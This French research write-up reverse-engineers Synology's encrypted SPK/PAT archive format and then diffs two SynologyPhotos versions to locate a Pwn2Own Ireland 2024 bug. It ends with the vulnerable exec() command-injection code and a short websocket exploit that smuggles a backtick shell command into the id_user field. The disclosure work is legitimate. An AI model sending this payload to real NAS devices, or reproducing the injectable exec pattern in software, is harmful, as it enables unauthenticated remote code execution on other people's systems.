Extraction des archives chiffrées Synology - Pwn2Own Irlande 2024

Rédigé par Théo Fauché - 11/08/2025 - dans Outils , Reverse-engineering - Téléchargement

Cet article présente le travail de rétro-ingénierie des bibliothèques d'extraction des archives chiffrées Synology et le développement d'un outil permettant le déchiffrement de ces archives. L'outil est disponible sur le GitHub de Synacktiv.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Contexte

Lors du Pwn2Own Irlande 2024 nous avons ciblé le BeeStation BST150-4T, un NAS de Synology.

 

BeeStation

 

Pour commencer l’analyse, nous avons extrait les archives de mise à jour disponibles sur le site de Synology, ce sont des archives chiffrées au format PAT. Patology permet de déchiffrer et extraire ces archives.

Ces archives contiennent des fichiers de configuration, des bibliothèques natives ainsi que des fichiers SPK correspondant aux applications s’exécutant sur le NAS.

Aucun outil n’a été trouvé pour extraire des fichiers SPK sans avoir accès à un NAS Synology.

Après le Pwn2Own nous avons pensé utile d’avoir un outil pour extraire les fichiers SPK sans avoir de NAS afin d’avoir accès au code des applications, d’autant plus que la vulnérabilité exploitée se trouve dans une application (SynologyPhotos).

Cet article présente le travail de rétro-ingénierie des bibliothèques d’extraction des archives SPK et le développement d’un outil permettant le déchiffrement de toutes les archives Synology chiffrées. L’outil est disponible sur le GitHub de Synacktiv.

Reverse des bibliothèques

Les firmwares des appareils Synology sont disponibles sur leur site web. Pour le BeeStation, ce firmware est une archive PAT chiffrée qu’il est possible d’extraire avec Patology.

$ file BSM_BST150-4T_65374.pat
BSM_BST150-4T_65374.pat: Synology archive
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
[...]
$ ls
BSM_BST150-4T_65374.pat  DiskCompatibilityDB.tar  indexdb.txz  packages  synohdpack_img.txz  texts            uboot_MANGO.bin  VERSION
checksum.syno            hda1.tgz                 model.dtb    rd.bin    Synology.sig        uboot_do_upd.sh  updater          zImage

Après avoir extrait hda1.tgz, un grep -ri spk usr/lib permet d’avoir la liste des bibliothèques contenant la chaîne de caractères “spk”. De par son nom, le fichier usr/lib/libsynopkg.so.1 semble être intéressant. Il contient une fonction ExtractSpk qui exécute /usr/syno/sbin/synoarchive -xf <archive>.

Le binaire synoarchive appelle des fonctions synoarchive_* pour extraire l’archive. Ces fonctions sont définies dans la bibliothèque libsynocodesign.so.

// initialise the synoarchive context
ctx = synoarchive_init(destdir);
if ( !ctx )
{
  _fprintf_chk(*off_15FA8, 2, "Failed to extract package at synoarchive_init");
  goto LABEL_10;
}
// [...]

// extract the archive
v7 = synoarchive_open_with_keytype(ctx, archive_realpath, 3);
if ( !v7 )
{
  _fprintf_chk(*off_15FA8, 2, "synoarchive_open %s failed. ret: %d", archive_path, *(_DWORD *)(ctx + 16));
  v7 = 0;
  goto LABEL_11;
}

libsynocodesign.so se trouve dans rd.bin qu’il faut extraire également :

$ file ../rd.bin
../rd.bin: LZMA compressed data, streamed
$ lzcat ../rd.bin | file -
/dev/stdin: ASCII cpio archive (SVR4 with no CRC)
$ lzcat ../rd.bin | cpio -i

Extraction des clés

Le point d’entrée dans libsynocodesign.so pour extraire des archives est la fonction synoarchive_open_with_keytype. Elle prend en paramètres un pointeur vers une structure synoarchive_t (qui est une structure contenant le contexte, avec notamment le répertoire de destination et le dernier code d’erreur), le chemin de l’archive ainsi qu’un entier keytype qui correspond au type d’archive. Elle appelle la fonction get_keys qui sélectionne les clés en fonction de keytype.

__int64 __fastcall synoarchive_open_with_keytype(synoarchive_t *synoarchive, char *archive_path, int keytype)
{
  // [...]
  if ( get_keys(keytype, &signature_key, &master_key) )
    return j_synoarchive_open(_synoarchive, _archive_path, signature_key, master_key);
  else
    return 0;
}

Dans le cas d’un SPK, keytype vaut 3.

__int64 __fastcall get_keys(int keytype, __int64 **signature_key, __int64 **master_key)
{

  switch ( keytype )
  {
    case 0:    // SYSTEM (PAT)
    case 10:
    case 11:
      v4 = &qword_23A40;
      v5 = qword_23A68;
      goto LABEL_5;
    // [...]
    case 3:    // SPK
      v4 = qword_23AE0;
      v5 = qword_23B08;
      goto LABEL_5;
    // [...]
LABEL_5:
      *signature_key = v4;
      result = 1LL;
      *master_key = v5;
      break;
    default:
      result = 0LL;
      break;
  }
  return result;
}

signature_key correspond à la clé publique utilisée pour vérifier la signature du header, et master_key sert à dériver la clé de chiffrement.

Désérialisation du header

synoarchive_open est appelée par synoarchive_open_with_keytype pour extraire les archives. Voici son pseudo-code :

__int64 __fastcall synoarchive_open(synoarchive_t *synoarchive, char *archive_path, __int128 *signature_key, __int64 *master_key)
{
  // [...]

  // read the header and check that the archive is a synology archive
  if ( !support_format_synoarchive(synoarchive, archive_path, signature_key, master_key) )
    return 0LL;

  // decrypt the archive
  if (j_archive_read_open_file(synoarchive->field_0->archive, archive_path))
    // [...]
  return result;
}

La fonction support_format_synoarchive appelle archive_read_support_format_synoarchive. Cette fonction se charge de lire le header de l’archive. Elle commence par vérifier les magic bytes.

// open the archive and read its magic bytes
f = fopen64(archive_path, "rb");
if ( !fread(&buf_magic_bytes, 4u, 1u, f) )
{
  // [...]
  return v8;
}
magic_bytes = bswap32(buf_magic_bytes) & 0xFFFFFF;
archive->magic_bytes = magic_bytes;
// check the magic bytes
if ( magic_bytes != 0xBFBAAD && magic_bytes != 0xADBEEF )
{
  // [...]
  return -6;
}

Elle lit ensuite le header, qui a une taille variable, ainsi que sa signature.

// read header length
if ( fread(&header_len, 1u, 4u, f) != 4 )
{
  // [...]
  return v8;
}
archive->header_len = header_len;
// allocate a buffer for the header
header = malloc(header_len);
if ( !header )
{
  // [...]
  return -9;
}
// read the header and its signature
if ( !fread(header, header_len, 1u, f) || !fread(header_sig, 0x40u, 1u, f) )
{
  // [...]
  return -9;
}

La signature est vérifiée grâce à la fonction crypto_sign_verify_detached de libsodium. Le programme itère sur les clés publiques jusqu’à trouver celle valide. Il est donc possible de renseigner plusieurs clés publiques cependant aucun code spécifiant plusieurs clés n’a été identifié.

// check the signature using each public key
while ( crypto_sign_verify_detached(header_sig, header, header_len, pubkey) )
{
  pubkey = archive->pubkeys[v32++];
  if ( !pubkey )
    goto LABEL_39;
}

Le header est désérialisé via la bibliothèque MessagePack.

memset(&msgpack_result, 0, sizeof(msgpack_result));
off = 0;
if ( msgpack_unpack_next(&msgpack_result, header, header_len, &off) != MSGPACK_UNPACK_SUCCESS )
{
  v8 = -10;
  goto LABEL_31;
}

Voici le format en pseudo-python du header désérialisé :

[
  data: bytes,
  entries: [
    entry: [
      size: int,
      hash: bytes
    ]
  ],
  archive_description: bytes,
  serial_number: [bytes],
  not_valid_before: int,
]

Chaque entry décrit la taille d’une entrée dans l’archive ainsi que son hash. Une entrée de l’archive correspond à un fichier contenu dans l’archive.

Une partie du champ data sert à la dérivation de la clé privée qui sera utilisée pour le déchiffrement des entrées de l’archive. Cette clé de déchiffrement est stockée dans la variable kdf_subkey.

bzero(ctx, sizeof(ctx));
// get the `data` element of the messagepack structure
data = array_items[0]->via.bin.ptr;
// extract subkey_id from data
subkey_id = *(_QWORD *)(data + 16);
// extract 7 bytes from data and use them for the key derivation
memcpy(ctx, data + 24, 7);
// derive kdf_subkey using subkey_id, ctx, and master_key
if ( crypto_kdf_derive_from_key(archive->kdf_subkey, 0x20u, subkey_id, ctx, master_key) )
{
  v8 = -14;
  goto LABEL_31;
}

La fonction archive_read_support_format_synoarchive se termine en appelant archive_read_support_format_tar, qui se charge d’extraire les entrées de l’archive.

Le parsing du header de l’archive peut être résumé par le schéma suivant :

 

Header

 

Déchiffrement des entrées

En utilisant grep.app, on apprend que archive_read_support_format_tar provient de la bibliothèque libarchive. Synology a modifié le code de libarchive pour y ajouter une couche de chiffrement pour ses archives. Un nouveau format “tar” est défini et les fonctions pour lire le header et les données contiennent la logique de déchiffrement.

magic_bytes = archive->magic_bytes;
if ( magic_bytes == 0xADBEEF )
{
  if ( !j___archive_read_register_format(
                        archive,
                        tar_data,
                        "tar",
                        spk_bid,
                        spk_options,
                        spk_read_header,
                        spk_read_data,
                        spk_read_data_skip,
                        0LL,
                        spk_cleanup,
                        0LL,
                        0LL) )
    return 0LL;
  goto LABEL_8;
}

La fonction spk_read_header est utilisée pour lire le header de chaque entrée de l’archive et spk_read_data est appelée pour lire et déchiffrer les entrées.

// spk_read_header

// read 0x200 bytes into encrypted_header
encrypted_header = j___archive_read_ahead(a1, 0x200u, &v109);
magic_bytes = a1->magic_bytes;
*n_read = 0x200;
if ( magic_bytes == 0xADBEEF )
{
  // use the first 0x18 bytes for the nonce
  memcpy(crypto_header, encrypted_header, 0x18);
  if ( crypto_secretstream_xchacha20poly1305_init_pull(
                       state,
                       crypto_header,
                       a1->kdf_subkey) )
  {
    v17 = -30;
    j_archive_set_error((__int64)a1, 4294967293LL, "Incomplete cipher header");
    return v17;
  }
  
  // decrypt the next 0x193 bytes
  memcpy(_encrypted_header, encrypted_header + 0x18, 0x193u);
  memset(encrypted_header, 0, 0x200u);
  if ( crypto_secretstream_xchacha20poly1305_pull(state, decrypted_header, &mlen_p, &tag_p, _encrypted_header, 0x193u, 0, 0)
    || tag_p != 3 )
  {
    j_archive_set_error((__int64)a1, 4294967293LL, "Corrupted entry header");
    return (unsigned int)-30;
  }
}

Les 0x18 premiers octets correspondent au nonce appelé cipher_header par libsodium il sert à initialiser le contexte cryptographique. La clé utilisée est celle qui a été calculée lors du parsing du header. Les 0x193 octets suivants sont déchiffrés. Le header déchiffré correspond à un header tar classique.

// spk_read_data

if ( !crypto_state )
{
  // read 0x18 bytes into cipher_header
  cipher_header = j___archive_read_ahead(a1, 0x18u, &a3);
  if ( !cipher_header )
  {
    j_archive_set_error(a1, 0xFFFFFFFDLL, "Truncated cipher header");
    return -30;
  }
  
  // allocate the libsodium state
  state = malloc(0x34u);
  a1->passphrases.crypto_state = state;
  if ( !state )
  {
    j_archive_set_error(a1, 12, "Can't allocate chunk state");
    return -30;
  }

  // initialise the libsodium state and use cipher_buffer as nonce
  if ( crypto_secretstream_xchacha20poly1305_init_pull(state, cipher_header, a1->kdf_subkey) )
  {
    j_archive_set_error(a1, 0xFFFFFFFDLL, "Incomplete cipher header");
    free(a1->passphrases.crypto_state);
    a1->passphrases.crypto_state = 0;
    return -30;
  }
  j___archive_read_consume(a1, 0x18);
}

Pour le déchiffrement du contenu des entrées, le contexte libsodium est initialisé de la même manière que pour les headers des entrées. Les 0x18 premiers octets servent de nonce et la clé utilisée est la même.

Le contenu est lu par blocs d’une taille maximale de 0x400000+0x11 et les blocs sont déchiffrés les uns à la suite des autres.

// spk_read_data

// read at most 0x400000+0x11 bytes in contents
size = tar_header.size;
if ( size > 0x400000 )
  size = 0x400000;
size += 0x11;
contents = j___archive_read_ahead(a1, size, &a3);

// decrypt the contents
if ( crypto_secretstream_xchacha20poly1305_pull(
       a1->passphrases.crypto_state,
       *a2,
       &v34,
       tag,
       contents,
       size,
       0,
       0) )
{
  j_archive_set_error((__int64)a1, 4294967293LL, "Corrupted entry data");
}

On obtient un fichier tar valide une fois que toutes les entrées ont été déchiffrées.

Voici le schéma du déchiffrement des entrées.

 

Schéma décrivant le déchiffrement des entrées

 

Finalement, les archives SPK sont au même format que les archives PAT. Uniquement la clé pour vérifier la signature du header et celle utilisée pour déchiffrer le contenu de l’archive sont différentes. En utilisant les bonnes clés, Patology est également capable d’extraire les SPK. Nous nous en sommes rendu compte seulement après avoir conçu notre propre outil.

L’outil développé pour extraire toutes les archives chiffrées Synology (SPK, PAT et autres) est disponible sur le GitHub de Synacktiv.

Comparaison des deux versions de SynoPhotos pour mettre en évidence la vulnérabilité jouée au Pwn2Own

Maintenant que nous sommes en mesure d’extraire les archives SPK qui contiennent le code des applications, il est possible de comparer les versions 1.7.0-0794 et 1.7.0-0795 de SynoPhotos afin de mettre en évidence la vulnérabilité exploitée au Pwn2Own.

La version 1.7.0-0794 est la version vulnérable.

$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
[+] found matching keys
[+] header signature verified
[+] 104 entries
INFO
[...]
scripts/postuninst
[+] archive successfully decrypted
[+] output at SynologyPhotos-rtd1619b-1.7.0-0794.tar

$ tar xvf SynologyPhotos-rtd1619b-1.7.0-0794.tar
INFO
[...]
scripts/postuninst

$ tar xvf package.tgz
apparmor/
[...]
nodejs/js-server/js_server_bundle.js
[...]
usr/lib/libsynophoto-plugin-message.so

Voici le code contenant la vulnérabilité :

// nodejs/js-server/js_server_bundle.pretty.js

(0, o.exec)(`/var/packages/SynologyPhotos/target/usr/bin/synofoto-bin-add-udc-event --id_user ${t} --type view_page --payload '${JSON.stringify({location:this[e].location,duration:i})}'`)

La vulnérabilité a été corrigée dans la version 1.7.0-0795.

// nodejs/js-server/js_server_bundle.pretty.js

(0, o.execFile)("/var/packages/SynologyPhotos/target/usr/bin/synofoto-bin-add-udc-event",
  [
    "--id_user", t,
    "--type", "view_page",
    "--payload", JSON.stringify({
      location: this[e].location,
      duration: i
    })
  ]
)

La version vulnérable contient une injection de commande. Synology l’a corrigée en remplaçant l’appel à child_process.exec par child_process.execFile, qui prend en paramètre un tableau d’arguments.

La vulnérabilité est atteignable sans authentification.

Voici l’exploit :

with connect(f"ws://{TARGET_IP}:6600/BeePhotos/FotoSocketIo/socket.io/?SynoToken=xxxx.&EIO=4&transport=websocket") as ws:
  print(ws.recv())
  ws.send('40')
  print(ws.recv())
  ws.send('42["page-view",{"id_user":"`' + cmd + '`","location":"/personal_space/timeline","timestamp":1723228244,"operation":"emit"}]')
  print(ws.recv())